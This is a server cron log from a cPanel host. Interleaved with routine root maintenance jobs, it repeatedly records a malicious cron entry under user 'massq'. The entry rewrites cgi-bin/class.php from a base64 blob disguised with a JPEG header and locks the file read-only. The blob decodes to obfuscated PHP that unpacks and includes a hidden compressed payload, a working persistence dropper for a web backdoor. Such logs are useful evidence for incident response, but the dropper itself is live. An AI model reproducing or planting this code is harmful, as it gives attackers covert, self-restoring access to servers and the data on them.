Sep  5 16:34:01 server CROND[27850]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:34:01 server CROND[27851]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:35:01 server CROND[28331]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:35:01 server CROND[28337]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 16:35:01 server CROND[28341]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:35:01 server CROND[28338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:35:01 server CROND[28339]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 16:35:01 server CROND[28340]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 16:35:01 server CROND[28345]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 16:35:01 server CROND[28344]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 16:35:01 server CROND[28342]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 16:36:01 server CROND[29183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:36:01 server CROND[29184]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:36:01 server CROND[29185]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:37:01 server CROND[29555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:37:01 server CROND[29556]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:37:01 server CROND[29557]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:38:01 server CROND[29933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:38:01 server CROND[29934]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:38:01 server CROND[29935]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:39:01 server CROND[30312]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:39:01 server CROND[30314]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:39:01 server CROND[30316]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 16:39:01 server CROND[30315]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:40:01 server CROND[30792]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 16:40:01 server CROND[30793]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 16:40:01 server CROND[30805]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 16:40:01 server CROND[30813]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:40:01 server CROND[30814]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 16:40:01 server CROND[30816]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:40:01 server CROND[30809]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 16:40:01 server CROND[30820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:41:01 server CROND[31618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:41:01 server CROND[31619]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:41:01 server CROND[31620]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:42:01 server CROND[31984]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:42:01 server CROND[31985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:42:01 server CROND[31986]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 16:42:01 server CROND[31987]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:43:01 server CROND[32365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:43:01 server CROND[32366]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:43:01 server CROND[32367]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:44:01 server CROND[32744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:44:01 server CROND[32746]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:44:01 server CROND[32745]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:45:01 server CROND[688]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 16:45:01 server CROND[694]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 16:45:01 server CROND[695]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:45:01 server CROND[699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:45:01 server CROND[696]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
